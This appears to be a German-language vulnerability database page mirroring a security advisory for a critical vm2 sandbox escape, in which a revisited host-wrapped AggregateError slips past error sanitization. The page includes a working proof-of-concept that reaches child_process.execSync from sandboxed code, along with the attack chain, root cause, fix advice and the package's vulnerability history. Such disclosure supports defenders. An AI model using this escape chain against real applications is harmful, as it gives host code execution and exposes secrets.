Kritisch

vm2 sandbox escape to host RCE via revisited host-wrapped AggregateError bypassing Error sanitization cycle short-circuit

  • Veröffentlicht: 05.10.2026
  • Aktualisiert: 11.10.2026 10:22

Summary

vm2 3.11.6 (this fork's latest release) contains an incomplete-fix bypass of the Error.cause host-reference sanitization added in GHSA-m283-3h24-438v (commit 7e3faaf). Sandbox code that catches a host-wrapped AggregateError which is revisited within a single handleException traversal (self-cycle, mutual-cycle, or the same host aggregate referenced twice in errors[]) receives a live, unsanitized host proxy inside the "sanitized" errors[], yielding full host RCE on the throw channel that the fix and Defense Invariant #3 explicitly promise to sanitize.

Root Cause

handleException (lib/setup-sandbox.js) breaks recursion cycles at line 1819 with if (apply(localWeakMapGet, visited, [e])) return e; — returning the RAW host carrier on revisit. For plain-Error carriers this is safe because sanitizeErrorCause/sanitizeHostOwnProps seal the host object in place on first visit. But sanitizeAggregateError (~1954-1972) snapshot-and-rebuilds host-wrapped carriers into a fresh LocalAggregateError and does NOT seal the original in place. When such a carrier is revisited within one traversal, line 1819 hands back the still-live raw host proxy, which the rebuild re-embeds via sanitizedArr[sanitizedArr.length] = handleException(item, visited) (line 1965) into the "sanitized" errors[].

Impact

Full host RCE (child_process.execSync) and host info disclosure (process.env, .pid) from within the vm2 sandbox — a complete sandbox escape on the caught-exception (throw) channel.

Proof of Concept

js
const {VM} = require('vm2');
const vm = new VM({ sandbox: { hostThrow(){
  const shared = new AggregateError([], 'shared');
  shared.leak = process;                                  // incidental host ref
  throw new AggregateError([shared, shared], 'all failed'); // same host obj twice
}}});
console.log(vm.run(`
  try { hostThrow(); } catch (e) {
    e.errors[1].leak.mainModule.require('child_process').execSync('id').toString();
  }`));                                                   // -> uid=1000(...) host RCE

Confirmed vectors (all return real id output): AggregateError self-cycle (agg.errors=[agg]; agg.leak=process), duplicate-in-array ([shared,shared]), mutual-cycle (a.errors=[b]; b.errors=[a]), and nested mutual/duplicated host sub-AggregateError.

Attack Chain

  1. Entry — embedder exposes a host function the sandbox invokes; it throws a host-wrapped AggregateError carrying a host reference in a rebuild-surviving slot plus a revisit trigger (agg.errors=[agg]; agg.leak=process). Guard: none at entry (throwing from an exposed host fn is normal). Bypass proof: same entry class as GHSA-m283-3h24-438v (embedder-exposed throwing fn, docs/ATTACKS.md Category 38), accepted in scope.
  2. Caught-exception sanitizer — sandbox try{hostThrow()}catch(e){…}; transformer routes e through handleException. Guard: Defense Invariant #3 (Aggregate/Suppressed nested fields sanitized with cycle detection). Bypass proof: handleException(agg) marks agg visited (1820); proto-walk routes to sanitizeAggregateError (1865); host-wrapped branch reads agg.errors and calls handleException(agg, visited) on element 0 (1965); that inner call hits visited.get(agg)===true → return e (1819) → raw agg proxy pushed into sanitizedArr → becomes newAgg.errors[0]. The rebuild does NOT seal agg in place, so the returned proxy is fully live.
  3. Sink — e.errors[0].leak.mainModule.require('child_process').execSync('id'). Guard: bridge get wraps host values. Bypass proof: the wrap is functional, not capability-restricting; instrumented trace shows e.errors[0].isProxy===true yet the chain executes and returns real uid=1000(ubuntu)....
  4. Impact — host RCE with host privileges; also process.env/.pid disclosure.

Bypass Evidence

Executed on node v22.23, vm2 3.11.6:

  • Baseline vector throw new Error('x',{cause:process}) (plain Error .cause) → BLOCKED
  • Plain Error own-prop e.leak=process (non-cyclic) → BLOCKED
  • Non-cyclic host AggregateError w/ own-prop or single host sub-error leak → BLOCKED
  • AggregateError self-cycle / duplicate-in-array / mutual-cycle / nested → RCE (uid=1000(ubuntu)…)

Every non-cyclic shape and the exact baseline cause vector are blocked; only the revisited host AggregateError leaks — proving the fix is present but this input shape evades it (INCOMPLETE FIX BYPASS, not a duplicate). Instrumented trace: outerLeakType="undefined" (outer rebuilt safe), isErrors0Proxy=true (element 0 is a live host proxy), rce=uid=1000(ubuntu)….

Affected Versions

<= 3.11.6. The bug exists from the sanitization fix (7e3faaf, tag 3.11.6) onward — an incomplete-fix bypass exists only where the fix exists. git diff 3.11.6 HEAD -- lib/setup-sandbox.js is empty (HEAD identical).

Scope Note

This advisory covers the AggregateError family only. A SuppressedError variant does NOT reproduce (se.error returns undefined; RCE blocked) and is excluded.

Suggested Fix

On the cycle short-circuit (line 1819), return the memoized sandbox-realm replacement (keyed in visited) rather than the raw carrier; OR seal host-wrapped AggregateError/SuppressedError carriers in place before recursing into sub-errors, mirroring the plain-carrier sanitizeHostOwnProps invariant.


Reported by zx (Jace) — GitHub: @manus-use

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
npm-Paket vm2 < 3.11.8 3.11.8

Verweise

CVSS-Wert 9/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
Schwäche (CWE)
CWE-693
Plattform
npm
Paket
vm2
Veröffentlicht
05.10.2026
Aktualisiert
11.10.2026 10:22

Quellen und Lizenzen

OSV / GitHub Advisory Database - GHSA-x965-fc75-jpqh - CC BY 4.0

Schwachstellenhistorie: vm2

Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (78) im Archiv
Einträge insgesamt
78
Erste → letzte
10.2021 10.2026
Ohne Fix
1
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 51
  • Hoch 14
  • Mittel 12
  • Niedrig 1

Veröffentlichungen pro Jahr

  1. 2021: 1
  2. 2022: 4
  3. 2023: 7
  4. 2024: 0
  5. 2025: 0
  6. 2026: 66
Schweregrad:
  1. Kritisch · 10.0 CVE-2026-93605 < 3.12.1 3.12.1
  2. Kritisch · 10.0 CVE-2026-100721 < 3.12.2 3.12.2
  3. Kritisch · 10.0 CVE-2026-92955 < 3.11.8 3.11.8
  4. vm2 sandbox escape to host RCE via revisited host-wrapped AggregateError bypassing Error sanitization cycle short-circuit dieser Eintrag
    Kritisch · 9.0 CVE-2026-92934 < 3.11.8 3.11.8
  5. Kritisch · 10.0 CVE-2026-92956 >= 3.10.1, < 3.11.7 3.11.7
  6. Kritisch · 9.9 CVE-2026-92948 >= 3.9.6, < 3.11.7 3.11.7
  7. Kritisch · 10.0 CVE-2026-92940 >= 3.11.3, < 3.11.7 3.11.7
  8. Kritisch · 9.0 CVE-2026-92935 >= 3.11.4, < 3.11.7 3.11.7
  9. Kritisch · 10.0 CVE-2026-92937 >= 3.11.6, < 3.11.7 3.11.7
  10. Kritisch · 9.9 CVE-2026-92938 >= 3.11.3, < 3.11.7 3.11.7
  11. Kritisch · 9.9 CVE-2026-92939 >= 3.11.3, < 3.11.7 3.11.7
  12. Kritisch · 9.8 CVE-2026-92944 >= 3.10.2, < 3.11.7 3.11.7
  13. Kritisch · 10.0 CVE-2026-92941 >= 3.11.3, < 3.11.7 3.11.7
  14. Hoch · 7.5 CVE-2026-92961 < 3.11.6 3.11.6
  15. Kritisch · 9.8 CVE-2026-47698 < 3.11.6 3.11.6
  16. Kritisch · 9.8 CVE-2026-47210 < 3.11.4 3.11.4
  17. Kritisch · 10.0 CVE-2026-47208 < 3.11.4 3.11.4
  18. Kritisch · 10.0 CVE-2026-47131 < 3.11.4 3.11.4
  19. Kritisch · 9.8 CVE-2026-45411 < 3.11.3 3.11.3
  20. Kritisch · 9.8 CVE-2026-44009 < 3.11.2 3.11.2
  21. Kritisch · 9.8 CVE-2026-44008 < 3.11.2 3.11.2
  22. Kritisch · 10.0 CVE-2026-44005 >= 3.9.6, < 3.11.0 3.11.0
  23. Kritisch · 10.0 CVE-2026-43997 < 3.11.0 3.11.0
  24. Kritisch · 10.0 CVE-2026-44006 < 3.11.0 3.11.0
  25. Kritisch · 9.8 CVE-2026-26956 < 3.10.5 3.10.5
  26. Kritisch · 9.8 CVE-2026-26332 < 3.11.0 3.11.0
  27. Kritisch · 9.8 CVE-2026-24781 < 3.11.0 3.11.0
  28. Kritisch · 9.8 CVE-2026-24120 < 3.10.5 3.10.5
  29. Kritisch · 9.8 CVE-2026-24118 < 3.11.0 3.11.0
  30. Kritisch · 9.8 CVE-2026-22709 < 3.10.2 3.10.2
  31. Kritisch · 9.8 CVE-2023-37466 < 3.10.0 3.10.0
  32. Kritisch · 9.8 CVE-2023-37903 <= 3.9.19 keine Korrektur
  33. Kritisch · 9.8 CVE-2023-32314 < 3.9.18 3.9.18
  34. Kritisch · 9.8 CVE-2023-30547 < 3.9.17 3.9.17
  35. Kritisch · 9.8 CVE-2023-29199 < 3.9.16 3.9.16
  36. Kritisch · 9.8 CVE-2023-29017 < 3.9.15 3.9.15
Mehr anzeigen (5) 60 von 65 angezeigt

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.